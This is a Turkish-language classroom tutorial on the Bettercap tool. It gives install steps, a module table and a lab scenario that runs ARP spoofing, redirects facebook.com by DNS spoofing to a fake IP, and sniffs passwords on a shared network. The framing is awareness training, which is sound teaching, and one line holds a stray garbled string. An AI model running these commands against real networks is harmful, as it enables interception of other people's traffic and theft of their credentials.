**🔍 1. Bettercap Nedir?**

**Bettercap**, güçlü bir MITM (Man-in-the-Middle) saldırı ve ağ izleme aracıdır.  
Kapsamlı özellikleriyle hem saldırı hem analiz hem de otomasyon sağlar.

* DNS spoofing, HTTP/HTTPS sniffing, ARP poisoning, packet injection, credential harvesting gibi işlemleri yapabilir.
* Hem terminal hem de web arayüz desteği bulunur.

**🔧 2. Kurulum (Kali Linux)**

Kali'de genellikle yüklüdür. Değilse:

sudo apt update

sudo apt install bettercap

Kullanım için root yetkisi gerekir.

metin, ekran görüntüsü içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

**⚙️ 3. Başlangıç Komutları**

sudo bettercap -iface wlan0

Alternatif arayüzün adını kullanabilirsin (eth0, wlan1, vs.).  
Bettercap başlatıldığında interaktif terminal arayüzüne girer.

**📋 4. Temel Modüller ve Komutlar**

| **Modül** | **Amaç** |
| --- | --- |
| net.probe on | Ağdaki cihazları bulur |
| net.show | Ağdaki tüm cihazları listeler |
| arp.spoof on | Hedef ile ağ geçidi arasında MITM başlatır |
| net.sniff on | Trafiği izlemeye başlar |
| net.sniff.verbose true | Paket içeriğini detaylı gösterir |
| set arp.spoof.targets IP | Belirli IP’ye yönelik MITM ayarla |
| dns.spoof on | DNS sahtekarlığı başlatır |
| set dns.spoof.domains | Hangi domain’lere sahte yanıt verileceğini belirler |
| set dns.spoof.address | Sahte IP adresi |

**🧪 5. Uygulama Senaryosu – Sınıf Ortamı**

1. Öğrenciler aynı ağda bulunur.
2. Saldırgan rolündeki öğrenci şu komutu çalıştırır:

sudo bettercap -iface wlan0

1. Ağdaki tüm cihazlar bulunur:

net.probe on

net.show

1. Dfccffffffffffffffffffffffffffffffff MITM saldırısı başlatılır:

set arp.spoof.targets 192.168.1.5

arp.spoof on

1. DNS yönlendirme yapılır (örneğin facebook.com sahte IP'ye yönlendirilir):

set dns.spoof.domains facebook.com

set dns.spoof.address 192.168.1.100

dns.spoof on

1. net.sniff on ile gelen şifreler ve trafiğin içeriği izlenir.

**🎯 6. Öğrenim Çıktıları**

* MITM saldırı kavramı pratik olarak öğrenilir
* DNS spoofing, sniffing, ARP poisoning işlemleri uygulanır
* Gerçek zamanlı veri akışı, kullanıcı adı-şifre gibi içerikler incelenir
* Saldırganın neler yapabileceği görülerek **savunma bilinci** gelişir